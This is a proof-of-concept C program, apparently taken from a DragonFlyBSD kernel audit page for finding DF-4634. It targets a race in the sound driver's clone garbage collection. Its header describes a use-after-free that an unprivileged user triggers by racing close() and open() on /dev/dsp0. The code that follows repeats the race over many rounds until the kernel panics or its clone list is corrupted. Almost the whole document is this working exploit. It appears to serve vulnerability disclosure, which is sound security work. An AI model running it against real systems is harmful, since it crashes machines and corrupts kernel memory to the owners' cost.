⬢ DragonFlyBSD Kernel Audit
DF-4634 / race.c
← back to finding ↓ download raw
/*
 * DF-4634 race PoC: snd_clone_gc() prunes a clone entry whose triggering
 * open() is still in flight (SND_CLONE_INVOKE set, not yet BUSY), freeing
 * the snd_clone_entry under the stalled opener.
 *
 * Method (all as unprivileged user, /dev/dsp0 is 0666):
 *   staller : open /dev/dsp0, set 8kHz/u8/mono + 4x4096 fragments,
 *             fill bufsoft (16KB ~= 2s of audio at 8KB/s), close().
 *             dsp_close holds SD_F_BUSY for the whole ~2s chn_sync drain.
 *   victim  : open("/dev/dsp0") issued delta us before staller's close().
 *             If staller's close wins SD_F_BUSY after the victim's
 *             dev_clone handler returned but before the victim's
 *             dsp_open reached snd_clone_acquire(), the victim sleeps in
 *             PCM_WAIT holding a pending INVOKE entry.
 *   After the ~2s drain, staller's dsp_close -> snd_clone_unref ->
 *   snd_clone_gc() prunes the victim's (>=750ms old, INVOKE, !BUSY) entry:
 *       destroy_dev(ce->devt); kfree(ce);
 *   The victim then wakes and runs snd_clone_acquire()/snd_clone_ref()
 *   on the freed entry => use-after-free read+write.
 *
 * Repeat with randomized delta; a successful prune+reuse manifests as a
 * kernel panic, clone-list corruption (EBUSY storms) or refcount asserts.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sys/soundcard.h>
#include <sys/time.h>

#define DEV "/dev/dsp0"

static long ms(struct timeval *a, struct timeval *b){
  return (b->tv_sec-a->tv_sec)*1000+(b->tv_usec-a->tv_usec)/1000;
}

static int staller_fd = -1;

static void *victim_fn(void *arg){
  struct timeval *t = arg;
  gettimeofday(&t[0], NULL);
  int fd = open(DEV, O_WRONLY);
  gettimeofday(&t[1], NULL);
  if (fd >= 0) {
    /* small write to force the channel to actually start */
    char b[64]; memset(b, 0x80, sizeof b);
    write(fd, b, sizeof b);
    close(fd);
  } else {
    fprintf(stderr, "victim open failed: %s\n", strerror(errno));
  }
  return NULL;
}

int main(int argc, char **argv){
  int rounds = argc>1 ? atoi(argv[1]) : 200;
  srandom(1234);
  char buf[4096]; memset(buf, 0x80, sizeof buf);
  int trapped = 0, suspect = 0;

  for (int r = 0; r < rounds; r++) {
    /* staller setup: 8kHz u8 mono, 4x4096 bufsoft (~2s drain) */
    staller_fd = open(DEV, O_WRONLY);
    if (staller_fd < 0) { perror("staller open"); return 1; }
    int fmt=AFMT_U8, speed=8000, ch=1, frag=0x0004000C;
    ioctl(staller_fd, SNDCTL_DSP_SETFMT, &fmt);
    ioctl(staller_fd, SNDCTL_DSP_CHANNELS, &ch);
    ioctl(staller_fd, SNDCTL_DSP_SPEED, &speed);
    ioctl(staller_fd, SNDCTL_DSP_SETFRAGMENT, &frag);
    long wr = 0;
    while (wr < 65536) {
      ssize_t n = write(staller_fd, buf, sizeof buf);
      if (n <= 0) break;
      wr += n;
    }

    int delta = random() % 1500;   /* us between victim open and close */
    struct timeval tv[2], tc0, tc1;
    pthread_t th;
    pthread_create(&th, NULL, victim_fn, tv);
    if (delta) usleep(delta);
    gettimeofday(&tc0, NULL);
    close(staller_fd);             /* ~2s SD_F_BUSY hold if it wins */
    gettimeofday(&tc1, NULL);
    pthread_join(th, NULL);

    long close_ms = ms(&tc0, &tc1);
    long vopen_ms = ms(&tv[0], &tv[1]);
    /* trap signature: both blocked ~ the drain time */
    int is_trapped = (close_ms > 1200) && (vopen_ms > 1200);
    if (is_trapped) trapped++;
    if (is_trapped && vopen_ms < close_ms - 100) suspect++;
    if (r % 10 == 0 || is_trapped)
      fprintf(stderr, "round %4d delta=%4d close=%5ldms vopen=%5ldms%s\n",
              r, delta, close_ms, vopen_ms,
              is_trapped ? "  <== TRAPPED" : "");
    fflush(stderr);
  }
  printf("done: %d rounds, trapped-looking=%d suspect=%d\n",
         rounds, trapped, suspect);
  return 0;
}